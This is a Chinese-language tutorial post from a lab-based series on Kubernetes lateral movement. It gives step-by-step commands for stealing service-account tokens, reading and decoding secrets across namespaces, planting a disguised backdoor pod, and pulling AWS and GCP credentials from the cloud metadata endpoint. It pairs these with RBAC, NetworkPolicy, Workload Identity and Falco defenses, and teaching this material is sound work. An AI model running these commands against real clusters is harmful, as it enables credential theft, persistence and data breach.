iT邦幫忙

2026 iThome 鐵人賽

DAY 19
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 19 篇

Day 19|橫向移動 + 雲端穿透:竊取 Token 跨 Namespace 攻擊

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0008 Lateral Movement——拿到一個 Namespace 的權限後,如何擴展到整個叢集甚至雲端。

基礎知識:K8s 的信任邊界

什麼是信任邊界(Trust Boundary)

信任邊界是不同安全等級之間的界線。跨過信任邊界的存取需要額外的認證或授權。在傳統網路中,防火牆就是信任邊界——內網與外網之間的分界。

在 K8s 中,信任邊界有四層,但不是每一層都是真正的安全邊界:

在 K8s 中,信任邊界有四層,但不是每一層都是真正的安全邊界:

RBAC Scope:Role vs ClusterRole

RBAC 的權限範圍直接決定了攻擊者能跨越多少信任邊界:

RBAC 資源 範圍 橫向移動風險
Role + RoleBinding 單一 Namespace 低:只能操作同 Namespace 資源
ClusterRole + RoleBinding 單一 Namespace(用叢集範本) 低:權限仍限在綁定的 Namespace
ClusterRole + ClusterRoleBinding 全叢集 高:可跨所有 Namespace

最危險的就是 ClusterRoleBinding——它讓一個 ServiceAccount 能存取所有 Namespace 的資源。

ServiceAccount Token

每個 Pod 預設會自動掛載所屬 ServiceAccount 的 Token:

# Token 掛載位置

Token 的演進(這影響橫向移動的難易度):

版本 Token 類型 有效期 橫向移動風險
< 1.20 永久 Token(Secret) 永不過期 極高:偷到就永久有效
1.20-1.23 Bound Token(預設) 1 小時 中:有時效限制
≥ 1.24 Bound Token Only 1 小時 + audience 低:限定用途 + 時效

Bound Token 有三個限制:過期時間、綁定的 Pod、指定的 audience。即使被偷走,1 小時後就失效,而且如果原始 Pod 被刪除,Token 也立即失效。

Namespace 不是安全邊界的三個原因

很多人誤以為「不同 Namespace = 安全隔離」,這是最常見的 K8s 安全誤解:

1. 共享 API Server

所有 Namespace 連到同一個 API Server。如果一個 SA 的 ClusterRoleBinding 有跨 Namespace 權限,Namespace 的邊界形同虛設。

2. 共享 Node

不同 Namespace 的 Pod 可能跑在同一個 Node 上。如果攻擊者逃逸到宿主機,就能看到所有 Namespace 的 Pod。

3. 預設無 NetworkPolicy

K8s 預設允許所有 Pod 互相通訊。koad Namespace 的 Pod 可以直接 curl 到 koad-production Namespace 的 Pod——不需要任何特殊權限。

預設行為(無 NetworkPolicy): 加了 NetworkPolicy 後:

理解了這些基礎後,接下來看攻擊者如何利用這些弱點進行橫向移動。


概覽

場景 ATT&CK 技術 攻擊手法
S30 T1550 Use Alternate Authentication Material 竊取 SA Token 跨 Namespace 存取

TA0008 Lateral Movement 在 ATT&CK Containers Matrix 中只有一個技術,但它是連接 Credential Access(Day 16)和 Impact(Day 20–21)的關鍵橋梁。在 K8s 中,Lateral Movement 的本質是從一個信任域跳到另一個信任域——Namespace 之間、Pod 之間、甚至從 K8s 到雲端。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pods -n koad | grep -E "token-lateral|lateral"

如果 Pod 不在 Running 狀態:

kubectl apply -f scenarios/lateral-movement/S30-token-lateral.yaml

2. 開啟 Falco 即時監控

# 第二終端 — 觀察橫向移動告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|lateral\|token\|namespace"

學習目標

完成本日實作後,你將能夠:

  • 竊取 cluster-admin SA Token 並跨 Namespace 存取資源
  • 從 K8s Pod 穿透到雲端 Metadata API 取得 IAM 憑證
  • 理解 Namespace 是邏輯隔離不是安全邊界
  • 配置 RBAC + NetworkPolicy + Bound Token 三層防禦

S30:竊取 Token 橫向移動(T1550)

攻擊原理

K8s 的 Namespace 提供邏輯隔離,但不是安全邊界。如果一個 SA Token 擁有跨 Namespace 的權限(例如 cluster-admin),攻擊者就能從 koad namespace 存取 koad-production namespace 的資源。

原理深入:Namespace 隔離的真相

常見的誤解: 現實:

KOAD 場景架構

S30 建立了一個模擬生產環境 Namespace,攻擊者需要從 koad 跳到 koad-production:

# 生產環境 Namespace
apiVersion: v1
kind: Namespace
metadata:
  name: koad-production
  labels:
    koad-scenario: S30
    environment: production

---
# 生產環境的敏感 Secret
apiVersion: v1
kind: Secret
metadata:
  name: production-db-creds
  namespace: koad-production
type: Opaque
data:
  host: cHJvZC1kYi5leGFtcGxlLmNvbQ==        # prod-db.example.com
  username: cHJvZF9hZG1pbg==                  # prod_admin
  password: UHIwZF9TdXBlclNlY3JldCE=          # Pr0d_SuperSecret!
  connection_string: cG9zdGdyZXNxbDovL3Byb2RfYWRtaW46UHIwZF9TdXBlclNlY3JldCFAcHJvZC1kYi5leGFtcGxlLmNvbTo1NDMyL3Byb2R1Y3Rpb24=

---
# 生產環境的應用
apiVersion: apps/v1
kind: Deployment
metadata:
  name: production-app
  namespace: koad-production
spec:
  replicas: 1
  selector:
    matchLabels:
      app: production-app
  template:
    metadata:
      labels:
        app: production-app
    spec:
      containers:
        - name: app
          image: nginx:1.27-alpine
          ports:
            - containerPort: 80

攻擊者 Pod:

apiVersion: v1
kind: Pod
metadata:
  name: lateral-mover
  namespace: koad
  labels:
    koad-scenario: S30
    mitre-attck: T1550
spec:
  serviceAccountName: overprivileged-sa    # cluster-admin
  containers:
    - name: mover
      image: bitnami/kubectl:latest
      command: ["sh", "-c", "sleep infinity"]

YAML 設計解析

S30 的 YAML 中有三個關鍵設計:

serviceAccountName: overprivileged-sa    # 綁定 cluster-admin,模擬過度授權
  • overprivileged-sa 綁定 cluster-admin:讓攻擊者的 Pod 擁有跨 Namespace 的完整權限,模擬現實中 CI/CD Pipeline 或 Operator 被過度授權的情況
  • 獨立的 koad-production Namespace:建立隔離的「生產環境」存放敏感 Secret,讓學員體驗 Namespace 邊界在 RBAC 錯誤配置下形同虛設
  • bitnami/kubectl 映像:攻擊者容器自帶 kubectl,模擬真實攻擊中攻擊者下載工具的步驟

程式碼解析

S30 的攻擊腳本展示了四階段的橫向移動鏈:

# Phase 1:竊取自動掛載的 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# K8s 預設將 SA Token 掛載到每個 Pod 的固定路徑
# 攻擊者不需要任何額外權限就能讀取

# Phase 2:用竊取的 Token 跨 Namespace 列舉 Pod
kubectl --token="$TOKEN" get pods -n koad-production
# 關鍵:--token 參數讓攻擊者以 overprivileged-sa 身份操作
# 如果 SA 只有 koad namespace 的 Role,這步會失敗
# 但 cluster-admin 的 ClusterRoleBinding 讓它能存取所有 Namespace

# Phase 3:讀取生產環境的 Secret
kubectl --token="$TOKEN" get secret production-db-creds -n koad-production -o yaml
# Secret 的 data 欄位是 Base64 編碼,不是加密
# echo "cHJvZF9hZG1pbg==" | base64 -d  → prod_admin

# Phase 4:嘗試存取雲端 Metadata API
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 在雲端 K8s(EKS/GKE/AKS),這會回傳 Node 的 IAM 憑證
# 攻擊者可以從 K8s 橫向移動到雲端

這四個階段對應了完整的 Cyber Kill Chain:憑證竊取 -> 探索 -> 資料存取 -> 雲端橫向移動。防禦方需要在每個階段都有偵測和阻斷能力——automountServiceAccountToken: false 阻斷 Phase 1,最小權限 RBAC 阻斷 Phase 2-3,NetworkPolicy 阻斷 Phase 4。

設計理由

S30 模擬的是容器環境中最危險的橫向移動路徑——從一個被入侵的 Pod 透過過度授權的 SA Token 跨 Namespace 存取生產資料。2019 年 Capital One 事件中,攻擊者正是透過 SSRF 取得雲端 Metadata API 的 IAM 憑證,進而存取 S3 中的一億筆客戶資料。在 K8s 環境中,cluster-admin 等級的 SA Token 等同於雲端 IAM 的 Admin Role——一旦被竊取,Namespace 隔離形同虛設。KOAD 刻意讓 overprivileged-sa 綁定 cluster-admin,並建立獨立的 koad-production Namespace 存放模擬的生產 Secret,讓學員親眼看到 Token 橫向移動的完整攻擊鏈,理解為什麼最小權限原則和 Bound SA Token 是防禦關鍵。

攻擊步驟

Phase 1:Token 竊取與驗證

步驟 1:竊取目前 Pod 的 SA Token

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "Token prefix: ${TOKEN:0:30}..."

預期結果:

Token prefix: eyJhbGciOiJSUzI1NiIsImtpZCI6...

JWT Token 以 eyJ 開頭(Base64 編碼的 {"alg":"RS256",...}),攻擊者可以直接用這個 Token 呼叫 API Server,無需帳號密碼。

竊取 SA Token

步驟 2:確認 Token 的身份和權限

kubectl auth whoami

預期結果:

Username: system:serviceaccount:koad:overprivileged-sa
Groups:   system:serviceaccounts, system:serviceaccounts:koad

Token 對應到 koad Namespace 的 overprivileged-sa。如果這個 SA 有 ClusterRoleBinding 到 cluster-admin,攻擊者就能跨所有 Namespace 操作。

確認 Token 身份

步驟 3:確認跨 Namespace 權限

kubectl auth can-i get secrets -n koad-production

預期結果:

yes    ← 可以讀取生產環境的 Secret!

yes 確認了跨 Namespace 權限——從 koad 能讀取 koad-production 的 Secret,這是橫向移動成功的前提條件。

kubectl auth can-i '*' '*' -n koad-production

預期結果:

yes    ← cluster-admin 在所有 Namespace 都有完整權限

cluster-admin 的 */* 萬用權限代表攻擊者可以在任何 Namespace 執行任何操作——包括刪除 Pod、讀取 Secret、建立後門。

確認跨 Namespace 權限

Phase 2:跨 Namespace 資料竊取

步驟 4:列舉生產環境的 Pod

kubectl --token="$TOKEN" get pods -n koad-production

預期結果:

NAME                              READY   STATUS    RESTARTS   AGE
production-app-7b8f9c6d4-x2k9m   1/1     Running   0          15m

攻擊者現在能看到生產環境的 Pod 清單——接下來可以 exec 進入這些 Pod,或讀取它們的 Secret。

列舉生產環境 Pod

步驟 5:讀取生產環境 Secret

kubectl --token="$TOKEN" get secret production-db-creds \
    -n koad-production -o yaml

預期結果:

apiVersion: v1
kind: Secret
data:
  host: cHJvZC1kYi5leGFtcGxlLmNvbQ==
  password: UHIwZF9TdXBlclNlY3JldCE=
  username: cHJvZF9hZG1pbg==

Secret 的 data 欄位只是 Base64 編碼(不是加密),攻擊者拿到就能直接解碼取得明文密碼。這就是為什麼 etcd 加密和 RBAC 限制 Secret 存取如此重要。

讀取生產環境 Secret

步驟 6:解碼 Secret

kubectl --token="$TOKEN" get secret production-db-creds \
    -n koad-production -o jsonpath='{.data.password}' | base64 -d

預期結果:

Pr0d_SuperSecret!

生產環境的資料庫密碼已被解碼——攻擊者可以直接連接到生產資料庫,造成資料外洩。這是橫向移動的最終目標之一。

解碼 Secret 密碼

步驟 7:取得完整的連線字串

kubectl --token="$TOKEN" get secret production-db-creds \
    -n koad-production -o jsonpath='{.data.connection_string}' | base64 -d

預期結果:

postgresql://prod_admin:Pr0d_SuperSecret!@prod-db.example.com:5432/production

完整連線字串包含主機、帳號、密碼、連接埠和資料庫名稱——攻擊者可以從任何有網路存取權的位置直接連到生產資料庫。

取得 DB 連線字串

Phase 3:生產環境完全控制

步驟 8:exec 進入生產 Pod

kubectl --token="$TOKEN" exec -it -n koad-production \
    production-app-7b8f9c6d4-x2k9m -- sh

預期結果:

/ #     ← 已進入生產 Pod

攻擊者已 exec 進入生產環境的 Pod——可以存取容器內的環境變數、檔案系統和掛載的 Secret,等同於完全控制該應用。

進入生產 Pod

步驟 9:在生產 Pod 中進一步偵察

env | grep -iE 'password|secret|key|token'

預期結果:

KUBERNETES_SERVICE_HOST=10.96.0.1
DB_PASSWORD=Pr0d_SuperSecret!

環境變數洩漏了 API Server 地址和資料庫密碼——攻擊者可用此橫向存取其他服務。

cat /var/run/secrets/kubernetes.io/serviceaccount/token

預期結果:

eyJhbGciOiJSUzI1NiIs...    ← 生產環境的 SA Token

從環境變數找到 DB 密碼,再從掛載目錄取得生產環境 SA Token——攻擊者可以用這個新 Token 進一步擴展攻擊面。

生產 Pod 內偵察

步驟 10:部署後門到生產環境

kubectl --token="$TOKEN" create -n koad-production -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: maintenance-worker
  labels:
    app: maintenance
spec:
  containers:
    - name: worker
      image: busybox:1.36
      command: ["sh", "-c", "while true; do echo beacon; sleep 300; done"]
EOF

預期結果:

pod/maintenance-worker created

攻擊者成功在生產環境部署了偽裝成維運工具的後門 Pod——名稱 maintenance-worker 不會引起注意,但實際上是攻擊者的持久化存取點。

部署後門 Pod

攻擊者視角:橫向移動的價值

攻擊起點 攻擊終點


雲端穿透:從 K8s 到雲端

攻擊原理

雲端 K8s(EKS/GKE/AKS)的 Pod 可以存取 Instance Metadata API(169.254.169.254),取得 Node 的 IAM/GCP SA 臨時憑證。這些憑證通常擁有存取雲端資源(S3、RDS、Cloud SQL)的權限。

AWS EKS 場景

步驟 1:確認是否在 AWS 環境

curl -s -m 2 http://169.254.169.254/latest/meta-data/

預期結果:

ami-id
ami-launch-index
hostname
instance-id
...

Metadata API 回應代表 Pod 跑在 AWS EC2 上。攻擊者接下來會嘗試取得 Node 的 IAM 憑證來存取雲端資源。

確認 AWS 環境

步驟 2:取得 IAM Role 名稱

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

預期結果:

eks-node-role

IAM Role 名稱暴露了 Node 的身份——攻擊者用這個名稱就能取得該 Role 的臨時憑證。

取得 IAM Role

步驟 3:取得臨時 IAM 憑證

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role

預期結果:

{
  "Code": "Success",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-08-20T12:00:00Z"
}

這組 IAM 臨時憑證有效期通常為 6 小時,攻擊者可以直接用它呼叫 AWS API(S3、RDS、EC2 等),權限取決於 Node IAM Role 的設定。

取得 IAM 憑證

步驟 4:用 IAM 憑證存取 S3

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls

預期結果:

2026-01-01 00:00:00 company-production-data
2026-01-01 00:00:00 company-backups
2026-01-01 00:00:00 company-logs

攻擊者已經從 K8s 穿透到雲端——可以列出 S3 Bucket 代表能存取公司的生產資料、備份和日誌,影響範圍遠超 K8s 叢集本身。

列出 S3 Bucket

步驟 5:嘗試存取 RDS

aws rds describe-db-instances --region us-east-1

預期結果:

{
  "DBInstances": [
    {
      "DBInstanceIdentifier": "prod-database",
      "Endpoint": {"Address": "prod-database.xxx.us-east-1.rds.amazonaws.com"}
    }
  ]
}

如果 Node IAM Role 有 RDS 權限,就能洩漏資料庫端點和配置

存取 RDS

GKE 場景

步驟 1:取得 GCP Metadata Token

curl -s -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

預期結果:

{
  "access_token": "ya29.c...",
  "expires_in": 3600,
  "token_type": "Bearer"
}

GCP Metadata API 回傳的 access_token 可以直接當作 Bearer Token 呼叫任何 Google Cloud API,權限由 Node 綁定的 GCP Service Account 決定。

取得 GCP Token

步驟 2:用 Token 存取 GCS

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | \
    jq -r '.access_token')
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://storage.googleapis.com/storage/v1/b?project=$(curl -s -H 'Metadata-Flavor: Google' \
    http://metadata.google.internal/computeMetadata/v1/project/project-id)"

預期結果:

{
  "items": [
    {"name": "company-data-bucket"},
    {"name": "company-logs-bucket"}
  ]
}

成功列出 GCS Bucket 代表攻擊者已突破 K8s 邊界進入 GCP 雲端——接下來可以下載資料、修改權限、甚至刪除備份。

列出 GCS Bucket

步驟 3:存取 Cloud SQL

curl -s -H "Authorization: Bearer $TOKEN" \
    "https://sqladmin.googleapis.com/v1/projects/PROJECT_ID/instances"

預期結果:

{
  "items": [
    {"name": "prod-sql", "connectionName": "project:region:prod-sql"}
  ]
}

Cloud SQL instance 資訊洩漏讓攻擊者能定位生產資料庫的連線端點,結合前面取得的 Token 可能直接建立連線。

存取 Cloud SQL

KOAD 模擬:mock-metadata

KOAD 靶場使用 mock-metadata 服務模擬雲端 Metadata API(因為 Minikube 不在雲端):

# apps/mock-metadata/app.py
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/latest/meta-data/iam/security-credentials/<role>')
def aws_credentials(role):
    return jsonify({
        "Code": "Success",
        "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Token": "FwoGZXIvYXdzEBYaDH...",
        "Expiration": "2026-08-20T12:00:00Z"
    })

@app.route('/computeMetadata/v1/instance/service-accounts/default/token')
def gcp_token():
    return jsonify({
        "access_token": "ya29.FAKE_TOKEN_FOR_DEMO",
        "expires_in": 3600,
        "token_type": "Bearer"
    })

踩坑提醒: KOAD 的 mock-metadata 服務僅用於展示攻擊概念。真實雲端環境中,IMDS(Instance Metadata Service)回傳的是真正可用的 IAM 臨時憑證。AWS 在 2020 年推出 IMDSv2(需要先用 PUT 請求取得 Token),大幅降低了 SSRF 導致的憑證洩漏風險。

三大雲端 K8s 的身份管理差異

三大雲端各自發展了不同的 Pod-to-Cloud 身份機制,目標都是避免 Pod 直接存取 Node 的 IAM 憑證:

雲端 機制 原理 粒度 IMDS 防護
AWS EKS IRSA / Pod Identity SA Token 透過 OIDC 換取 AWS STS 臨時憑證 每個 SA 對應一個 IAM Role IMDSv2(PUT token 保護);Pod Identity 完全繞過 IMDS
GCP GKE Workload Identity Federation SA Token 直接映射到 GCP Service Account 每個 K8s SA 對應一個 GCP SA GKE 預設啟用 Metadata Concealment,阻擋 Pod 存取 Node SA
Azure AKS Azure AD Workload Identity SA Token 透過 OIDC 換取 Azure AD Token 每個 SA 對應一個 Managed Identity 可啟用 IMDS 限制(--enable-pod-identity-with-kubenet)

實務建議: 無論哪個雲端,都應該啟用對應的 Workload Identity 機制,而非讓 Pod 繼承 Node 的 IAM 權限。KOAD S30 模擬的正是「沒有啟用 Workload Identity 時」的攻擊路徑。


防禦 Lateral Movement

1. RBAC Namespace 隔離

# 限制 SA 只能存取自己的 Namespace
# 關鍵:用 Role + RoleBinding(Namespace 範圍)
#       不要用 ClusterRole + ClusterRoleBinding(叢集範圍)

apiVersion: rbac.authorization.k8s.io/v1
kind: Role                           # ← Role,不是 ClusterRole
metadata:
  name: app-role
  namespace: koad                    # ← 只在 koad namespace 生效
rules:
  - apiGroups: [""]
    resources: ["pods", "services"]
    verbs: ["get", "list"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding                     # ← RoleBinding,不是 ClusterRoleBinding
metadata:
  name: app-binding
  namespace: koad                    # ← 只在 koad namespace 生效
subjects:
  - kind: ServiceAccount
    name: app-sa
    namespace: koad
roleRef:
  kind: Role                         # ← 引用 Role,不是 ClusterRole
  name: app-role
  apiGroup: rbac.authorization.k8s.io

關鍵原則:

用法 結果 建議
Role + RoleBinding SA 只能存取一個 Namespace 應用 SA 首選
ClusterRole + RoleBinding 可跨 Namespace 重用定義 謹慎使用
ClusterRole + ClusterRoleBinding SA 可存取所有 Namespace 只給系統元件

2. NetworkPolicy Namespace 隔離

# 生產環境:只允許同 Namespace 的 Pod 互相通訊
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-cross-namespace
  namespace: koad-production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
  ingress:
    - from:
        - podSelector: {}      # 只允許同 Namespace 的 Pod
    # 不含 namespaceSelector = 排除其他 Namespace

3. Bound Token 限制跨 Namespace

volumes:
  - name: bound-token
    projected:
      sources:
        - serviceAccountToken:
            path: token
            expirationSeconds: 3600
            audience: koad-namespace-only    # 限定受眾

4. 雲端防禦

雲端 防禦措施 效果
AWS IMDSv2(需要 Token) 阻擋 SSRF 導致的 Metadata 存取
AWS 限制 Node IAM Role 權限 即使存取到也權限有限
AWS IRSA(Pod 綁定 IAM Role) 每個 Pod 獨立的最小權限
GCP Workload Identity(Pod 綁定 GCP SA) 取代 Node-level SA
Azure Pod Identity + 限制 Metadata 存取 Pod 層級的身份管理
通用 NetworkPolicy 阻擋 169.254.169.254 阻擋所有 Metadata 存取
# NetworkPolicy 阻擋 Metadata API
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
  namespace: koad
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32    # 阻擋 Metadata API
    - to: []
      ports:
        - protocol: UDP
          port: 53                     # 允許 DNS

5. Falco 偵測

- rule: KOAD S30 Cross-Namespace Secret Access
  desc: Detect access to secrets in a different namespace than the caller
  condition: >
    jevt.value[/verb] = "get" and
    jevt.value[/objectRef/resource] = "secrets" and
    jevt.value[/objectRef/namespace] !=
      jevt.value[/user/extra/authentication.kubernetes.io~1pod-namespace/0]
  output: >
    Cross-namespace secret access detected — possible lateral movement!
    (user=%jevt.value[/user/username]
     source_ns=%jevt.value[/user/extra/authentication.kubernetes.io~1pod-namespace/0]
     target_ns=%jevt.value[/objectRef/namespace]
     secret=%jevt.value[/objectRef/name])
  priority: CRITICAL
  source: k8s_audit
  tags: [KOAD, T1550, lateral-movement]

ATT&CK 攻擊鏈視角

Lateral Movement 是攻擊鏈的倒數第二步,也是攻擊者從「局部控制」走向「全面控制」的關鍵轉折:

TA0001 Initial Access(Day 2–3)


防禦總結

防禦層 措施 阻擋效果 實施難度
RBAC Role + RoleBinding(非 ClusterRole) 限制 SA 在單一 Namespace 低
Network NetworkPolicy 跨 Namespace 隔離 阻擋網路層存取 中
Token Bound Token + audience 限制 Token 用途和壽命 低
Cloud Block Metadata + Workload Identity 阻擋雲端穿透 中
Detect Falco k8s_audit 規則 偵測跨 Namespace Secret 存取 低

externalTrafficPolicy 與來源 IP 保留

K8s Service 的 externalTrafficPolicy 決定了外部流量如何路由到 Pod,這直接影響安全稽核的可追蹤性。

兩種模式比較

設定 行為 來源 IP 安全影響
Cluster(預設) 流量在所有 Node 間均衡分配 SNAT 遮蔽,看到的是 Node IP 無法追蹤真實來源,橫向移動痕跡被掩蓋
Local 流量只路由到本地 Node 的 Pod 保留原始來源 IP 可追蹤來源 IP,利於 Audit 和事件分析

設定方式

apiVersion: v1
kind: Service
metadata:
  name: production-app
spec:
  type: LoadBalancer
  externalTrafficPolicy: Local    # 保留來源 IP
  selector:
    app: production-app
  ports:
    - port: 80
      targetPort: 8080

安全考量

在 S30 橫向移動場景中,攻擊者從一個 Pod 存取另一個 Namespace 的 Service。如果 Service 使用預設的 Cluster 策略,Audit Log 中記錄的來源 IP 是 Node IP 而非攻擊者 Pod IP,增加了事件調查的難度。

使用 Local 策略的取捨:

  • 優點:保留來源 IP,有利於稽核日誌、NetworkPolicy 的 IP-based 規則、WAF 的來源判斷
  • 缺點:流量不均衡(只路由到本地 Pod),如果某 Node 上沒有對應 Pod,流量會被丟棄

生產環境建議對需要稽核的關鍵服務使用 externalTrafficPolicy: Local,搭配 TopologySpreadConstraints 確保 Pod 分散在多個 Node 上。


CKS 考點

考點 本日內容 權重 考試提示
RBAC 設計 Role vs ClusterRole Cluster Hardening 15% 必考:理解 RoleBinding 的 Namespace 範圍
NetworkPolicy Namespace 隔離 Cluster Setup 15% 考試會考 namespaceSelector 的用法
SA Token Bound Token audience Cluster Hardening 15% 理解 projected volume 的設定
雲端安全 Metadata API 防護 不在 CKS 範圍 但在真實環境中極其重要

清理與重設

# 主機終端
kubectl delete pod -n koad -l koad-scenario=S30 2>/dev/null
kubectl apply -f scenarios/lateral-movement/S30-token-lateral.yaml

如果在攻擊過程中建立了額外的 Pod 或 RoleBinding,也需要一併清理。


完成度自我檢查

  • [ ] 成功用竊取的 SA Token 跨 Namespace 列舉資源
  • [ ] 理解 Namespace 是邏輯隔離而非安全邊界
  • [ ] 能解釋 Metadata API(169.254.169.254)在雲端環境的風險
  • [ ] 知道 RBAC + NetworkPolicy + Bound Token 三層防禦如何阻止橫向移動
  • [ ] 理解 EKS IRSA / GKE Workload Identity / AKS Workload Identity 的差異
  • [ ] 觀察到 Falco 偵測跨 Namespace 操作的告警

本日小結

你完成了什麼

  • [x] 竊取 cluster-admin SA Token 並跨 Namespace 列舉資源(S30)
  • [x] 從測試 Namespace 跳到生產 Namespace 讀取 Secrets
  • [x] 透過 Metadata API(169.254.169.254)取得雲端 IAM 憑證
  • [x] 觀察 Falco 偵測跨 Namespace 操作

關鍵帶走

  1. Token 橫向移動(S30):cluster-admin SA Token 讓攻擊者跨 Namespace 存取所有資源
  2. 雲端穿透:Metadata API 是從 K8s 延伸到雲端的跳板
  3. Namespace 是邏輯隔離,不是安全邊界——真正的安全邊界需要 RBAC + NetworkPolicy + Bound Token 三層配合

下一步

明天 Day 20 進入 ATT&CK 最後一個戰術——TA0040 Impact,攻擊者的最終目的:破壞資料、DoS 攻擊、加密貨幣挖礦。



上一篇
Day 18|叢集偵察全攻略:資源列舉 + 網路掃描 + RBAC 探測
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 19 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言